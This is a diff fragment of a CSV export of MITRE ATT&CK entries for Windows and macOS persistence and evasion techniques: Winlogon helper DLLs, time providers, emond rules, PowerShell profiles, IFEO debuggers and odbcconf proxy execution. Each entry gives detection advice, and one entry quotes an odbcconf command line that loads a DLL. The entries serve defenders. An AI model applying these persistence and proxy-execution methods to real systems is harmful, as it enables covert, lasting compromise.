ExternalReference(source_name='Cylance Reg Persistence Sept 2013', description='Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.', url='https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902')]",attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-04-21 16:00:41.277000+00:00,Winlogon Helper DLL,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']",,,,,"Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. +Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/004', 'external_id': 'T1547.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/579.html', 'external_id': 'CAPEC-579'}, {'source_name': 'Cylance Reg Persistence Sept 2013', 'description': 'Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.', 'url': 'https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']",,"Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. -Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",,,,,True,,,"['SYSTEM', 'Administrator']",['Windows'],,,,1.0 -2020-01-24 15:51:52.317000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider) +Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,"['SYSTEM', 'Administrator']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T15:51:52.317Z,2020-03-25T15:24:26.476Z,Time Providers,"Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider) Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider) -Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/003', external_id='T1547.003'), ExternalReference(source_name='Microsoft W32Time Feb 2018', description='Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.', url='https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top'), ExternalReference(source_name='Microsoft TimeProvider', description='Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.', url='https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx'), ExternalReference(source_name='Github W32Time Oct 2017', description='Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.', url='https://github.com/scottlundgren/w32time'), ExternalReference(source_name='Microsoft W32Time May 2017', description='Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.', url='https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902')]",attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-03-25 15:24:26.476000+00:00,Time Providers,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Scott Lundgren, @5twenty9, Carbon Black']","['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution', 'Process: Process Creation']",,,,,"Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017) +Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/003', 'external_id': 'T1547.003'}, {'source_name': 'Microsoft W32Time Feb 2018', 'description': 'Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.', 'url': 'https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top'}, {'source_name': 'Microsoft TimeProvider', 'description': 'Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx'}, {'source_name': 'Github W32Time Oct 2017', 'description': 'Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.', 'url': 'https://github.com/scottlundgren/w32time'}, {'source_name': 'Microsoft W32Time May 2017', 'description': 'Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.', 'url': 'https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Scott Lundgren, @5twenty9, Carbon Black']","['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution', 'Process: Process Creation']",,"Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017) -The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)",,,,,True,,,"['SYSTEM', 'Administrator']",['Windows'],,,,1.0 -2020-01-24 15:15:13.426000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. +The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)",True,"['SYSTEM', 'Administrator']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T15:15:13.426Z,2020-03-24T21:37:25.307Z,Emond,"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) -Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/014', external_id='T1546.014'), ExternalReference(source_name='xorrior emond Jan 2018', description='Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.', url='https://www.xorrior.com/emond-persistence/'), ExternalReference(source_name='magnusviri emond Apr 2016', description='Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.', url='http://www.magnusviri.com/Mac/what-is-emond.html'), ExternalReference(source_name='sentinelone macos persist Jun 2019', description='Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.', url='https://www.sentinelone.com/blog/how-malware-persists-on-macos/')]",attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-24 21:37:25.307000+00:00,Emond,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Ivan Sinyakov'],"['Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Creation']",,,,,Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.,,,,,True,,,['Administrator'],['macOS'],,,,1.0 -2020-01-24 15:11:02.758000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments. +Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/014', 'external_id': 'T1546.014'}, {'source_name': 'xorrior emond Jan 2018', 'description': 'Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.', 'url': 'https://www.xorrior.com/emond-persistence/'}, {'source_name': 'magnusviri emond Apr 2016', 'description': 'Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.', 'url': 'http://www.magnusviri.com/Mac/what-is-emond.html'}, {'source_name': 'sentinelone macos persist Jun 2019', 'description': 'Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Ivan Sinyakov'],"['Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Creation']",,Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.,True,['Administrator'],['macOS'],1.0,,,,,,, +attack-pattern,attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T15:11:02.758Z,2020-03-24T21:31:31.082Z,PowerShell Profile,"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments. [PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) -An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/013', external_id='T1546.013'), ExternalReference(source_name='Microsoft About Profiles', description='Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.', url='https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6'), ExternalReference(source_name='ESET Turla PowerShell May 2019', description='Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.', url='https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/'), ExternalReference(source_name='Wits End and Shady PowerShell Profiles', description='DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.', url='https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html'), ExternalReference(source_name='Malware Archaeology PowerShell Cheat Sheet', description='Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.', url='http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf')]",attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-24 21:31:31.082000+00:00,PowerShell Profile,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Allen DeRyke, ICE']","['Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Creation']",,,,,"Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include: +An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/013', 'external_id': 'T1546.013'}, {'source_name': 'Microsoft About Profiles', 'description': 'Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6'}, {'source_name': 'ESET Turla PowerShell May 2019', 'description': 'Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.', 'url': 'https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/'}, {'source_name': 'Wits End and Shady PowerShell Profiles', 'description': 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.', 'url': 'https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html'}, {'source_name': 'Malware Archaeology PowerShell Cheat Sheet', 'description': 'Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.', 'url': 'http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Allen DeRyke, ICE']","['Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Creation']",,"Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include: * $PsHome\Profile.ps1 * $PsHome\Microsoft.{HostProgram}_profile.ps1 * $Home\My Documents\PowerShell\Profile.ps1 * $Home\My Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1 -Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.",,,,,True,,,"['User', 'Administrator']",['Windows'],,,,1.0 -2020-01-24 15:05:58.384000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010) +Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.",True,"['User', 'Administrator']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T15:05:58.384Z,2020-11-10T18:29:31.112Z,Image File Execution Options Injection,"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) @@ -2048,14 +2259,14 @@ Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/00 Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation. -Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546/012', external_id='T1546.012'), ExternalReference(source_name='Microsoft Dev Blog IFEO Mar 2010', description='Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.', url='https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/'), ExternalReference(source_name='Microsoft GFlags Mar 2017', description='Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.', url='https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview'), ExternalReference(source_name='Microsoft Silent Process Exit NOV 2017', description='Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.', url='https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit'), ExternalReference(source_name='Oddvar Moe IFEO APR 2018', description='Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.', url='https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/'), ExternalReference(source_name='Tilbury 2014', description='Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.', url='http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'), ExternalReference(source_name='FSecure Hupigon', description='FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.', url='https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml'), ExternalReference(source_name='Symantec Ushedix June 2008', description='Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.', url='https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2')]",attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-11-10 18:29:31.112000+00:00,Image File Execution Options Injection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Oddvar Moe, @oddvarmoe']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']",,,,,"Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) +Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/012', 'external_id': 'T1546.012'}, {'source_name': 'Microsoft Dev Blog IFEO Mar 2010', 'description': 'Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.', 'url': 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/'}, {'source_name': 'Microsoft GFlags Mar 2017', 'description': 'Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.', 'url': 'https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview'}, {'source_name': 'Microsoft Silent Process Exit NOV 2017', 'description': 'Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.', 'url': 'https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit'}, {'source_name': 'Oddvar Moe IFEO APR 2018', 'description': 'Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.', 'url': 'https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/'}, {'source_name': 'Tilbury 2014', 'description': 'Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.', 'url': 'http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'FSecure Hupigon', 'description': 'FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.', 'url': 'https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml'}, {'source_name': 'Symantec Ushedix June 2008', 'description': 'Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.', 'url': 'https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Oddvar Moe, @oddvarmoe']","['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution']",,"Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) -Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)",,,,,True,,,"['Administrator', 'SYSTEM']",['Windows'],,,,1.1 -2020-01-24 15:01:32.917000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft. +Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)",True,"['Administrator', 'SYSTEM']",['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T15:01:32.917Z,2020-06-20T22:39:00.717Z,Odbcconf,"Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft. Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR ""C:\Users\Public\file.dll""}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/008', external_id='T1218.008'), ExternalReference(source_name='Microsoft odbcconf.exe', description='Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.', url='https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017'), ExternalReference(source_name='LOLBAS Odbcconf', description='LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.', url='https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/'), ExternalReference(source_name='TrendMicro Squiblydoo Aug 2017', description='Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/'), ExternalReference(source_name='TrendMicro Cobalt Group Nov 2017', description='Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.', 